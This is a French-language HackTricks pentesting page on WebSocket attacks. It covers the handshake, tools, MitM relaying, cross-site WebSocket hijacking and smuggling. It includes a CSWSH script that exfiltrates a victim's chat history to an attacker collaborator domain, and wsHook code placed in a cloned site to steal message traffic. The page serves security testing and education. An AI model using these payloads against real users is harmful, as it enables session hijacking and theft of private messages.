Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/websocket-attacks.md

13 KiB
Raw Blame History

Attaques WebSocket

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Qu'est-ce que WebSockets

Les connexions WebSocket sont établies via un poignée de main HTTP initial et sont conçues pour être durables, permettant une messagerie bidirectionnelle à tout moment sans avoir besoin d'un système transactionnel. Cela rend les WebSockets particulièrement avantageux pour les applications nécessitant une faible latence ou une communication initiée par le serveur, telles que les flux de données financières en direct.

Établissement de connexions WebSocket

Une explication détaillée sur l'établissement de connexions WebSocket peut être consultée ici. En résumé, les connexions WebSocket sont généralement initiées via JavaScript côté client comme indiqué ci-dessous:

var ws = new WebSocket("wss://normal-website.com/ws");

Le protocole wss signifie une connexion WebSocket sécurisée avec TLS, tandis que ws indique une connexion non sécurisée.

Pendant l'établissement de la connexion, une poignée de main est effectuée entre le navigateur et le serveur via HTTP. Le processus de poignée de main implique que le navigateur envoie une demande et que le serveur réponde, comme illustré dans les exemples suivants :

Le navigateur envoie une demande de poignée de main :

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Réponse de poignée de main du serveur:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

La connexion reste ouverte pour l'échange de messages dans les deux sens une fois établie.

Points clés de la poignée de main WebSocket :

  • Les en-têtes Connection et Upgrade signalent le début d'une poignée de main WebSocket.
  • L'en-tête Sec-WebSocket-Version indique la version du protocole WebSocket souhaitée, généralement 13.
  • Une valeur aléatoire encodée en Base64 est envoyée dans l'en-tête Sec-WebSocket-Key, garantissant que chaque poignée de main est unique, ce qui aide à prévenir les problèmes avec les proxies de mise en cache. Cette valeur n'est pas destinée à l'authentification mais à confirmer que la réponse n'est pas générée par un serveur ou une cache mal configuré(e).
  • L'en-tête Sec-WebSocket-Accept dans la réponse du serveur est un hachage de Sec-WebSocket-Key, vérifiant l'intention du serveur d'ouvrir une connexion WebSocket.

Ces fonctionnalités garantissent que le processus de poignée de main est sécurisé et fiable, ouvrant la voie à une communication en temps réel efficace.

Console Linux

Vous pouvez utiliser websocat pour établir une connexion brute avec un websocket.

websocat --insecure wss://10.10.10.10:8000 -v

Ou pour créer un serveur websocat :

websocat -s 0.0.0.0:8000 #Listen in port 8000

Attaques de MitM sur les connexions websocket

Si vous constatez que des clients sont connectés à un websocket HTTP depuis votre réseau local actuel, vous pourriez essayer une Attaque de Spoofing ARP pour effectuer une attaque de MitM entre le client et le serveur.
Une fois que le client tente de se connecter à vous, vous pouvez alors utiliser :

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Énumération des Websockets

Vous pouvez utiliser l'outil https://github.com/PalindromeLabs/STEWS pour découvrir, identifier et rechercher automatiquement des vulnérabilités connues dans les websockets.

Outils de débogage Websocket

  • Burp Suite prend en charge la communication MitM des websockets de manière très similaire à celle des communications HTTP classiques.
  • L'extension socketsleuth pour Burp Suite vous permettra de mieux gérer les communications Websocket dans Burp en obtenant l'historique, en définissant des règles d'interception, en utilisant des règles de correspondance et de remplacement, en utilisant Intruder et AutoRepeater.
  • WSSiP: Abréviation de "WebSocket/Socket.io Proxy", cet outil, écrit en Node.js, fournit une interface utilisateur pour capturer, intercepter, envoyer des messages personnalisés et visualiser toutes les communications WebSocket et Socket.IO entre le client et le serveur.
  • wsrepl est un REPL websocket interactif conçu spécifiquement pour les tests de pénétration. Il fournit une interface pour observer les messages websocket entrants et en envoyer de nouveaux, avec un framework facile à utiliser pour automatiser cette communication.
  • https://websocketking.com/ est un site web pour communiquer avec d'autres sites web en utilisant des websockets.
  • https://hoppscotch.io/realtime/websocket entre autres types de communications/protocoles, fournit un site web pour communiquer avec d'autres sites web en utilisant des websockets.

Laboratoire Websocket

Dans Burp-Suite-Extender-Montoya-Course vous avez un code pour lancer un site web utilisant des websockets et dans cet article vous pouvez trouver une explication.

Détournement de WebSocket inter-sites (CSWSH)

Le détournement de WebSocket inter-sites, également connu sous le nom de détournement de WebSocket inter-origines, est identifié comme un cas spécifique de Cross-Site Request Forgery (CSRF) affectant les poignées de main WebSocket. Cette vulnérabilité survient lorsque les poignées de main WebSocket s'authentifient uniquement via les cookies HTTP sans jetons CSRF ou des mesures de sécurité similaires.

Les attaquants peuvent exploiter cela en hébergeant une page web malveillante qui initie une connexion WebSocket inter-sites à une application vulnérable. Par conséquent, cette connexion est traitée comme faisant partie de la session de la victime avec l'application, exploitant l'absence de protection CSRF dans le mécanisme de gestion de session.

Attaque Simple

Notez que lors de l'établissement d'une connexion websocket, le cookie est envoyé au serveur. Le serveur pourrait l'utiliser pour relier chaque utilisateur spécifique à sa session websocket basée sur le cookie envoyé.

Ainsi, si par exemple le serveur websocket renvoie l'historique de la conversation d'un utilisateur si un message avec "READY" est envoyé, alors un simple XSS établissant la connexion (le cookie sera envoyé automatiquement pour autoriser l'utilisateur victime) envoyant "READY" pourra récupérer l'historique de la conversation.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Cross Origin + Cookie with a different subdomain

Dans ce billet de blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/, l'attaquant a réussi à exécuter du code JavaScript arbitraire dans un sous-domaine du domaine où la communication websocket avait lieu. Étant donné qu'il s'agissait d'un sous-domaine, le cookie était envoyé, et comme le Websocket ne vérifiait pas correctement l'Origine, il était possible de communiquer avec lui et de voler des jetons à partir de là.

Vol de données utilisateur

Copiez l'application web que vous souhaitez usurper (les fichiers .html par exemple) et à l'intérieur du script où la communication websocket a lieu, ajoutez ce code:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

Maintenant, téléchargez le fichier wsHook.js depuis https://github.com/skepticfx/wshook et enregistrez-le à l'intérieur du dossier contenant les fichiers web.
Exposer l'application web et faire en sorte qu'un utilisateur s'y connecte vous permettra de voler les messages envoyés et reçus via websocket:

sudo python3 -m http.server 80

Conditions de course

Les conditions de course dans les WebSockets sont également une chose, consultez ces informations pour en savoir plus.

Autres vulnérabilités

Comme les WebSockets sont un mécanisme pour envoyer des données côté serveur et côté client, en fonction de la manière dont le serveur et le client gèrent les informations, les WebSockets peuvent être utilisés pour exploiter plusieurs autres vulnérabilités telles que XSS, SQLi ou toute autre vulnérabilité web commune en utilisant l'entrée d'un utilisateur à partir d'un websocket.

Smuggling WebSocket

Cette vulnérabilité pourrait vous permettre de contourner les restrictions des proxies inverses en leur faisant croire qu'une communication websocket a été établie (même si ce n'est pas vrai). Cela pourrait permettre à un attaquant d'accéder à des points de terminaison cachés. Pour plus d'informations, consultez la page suivante :

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :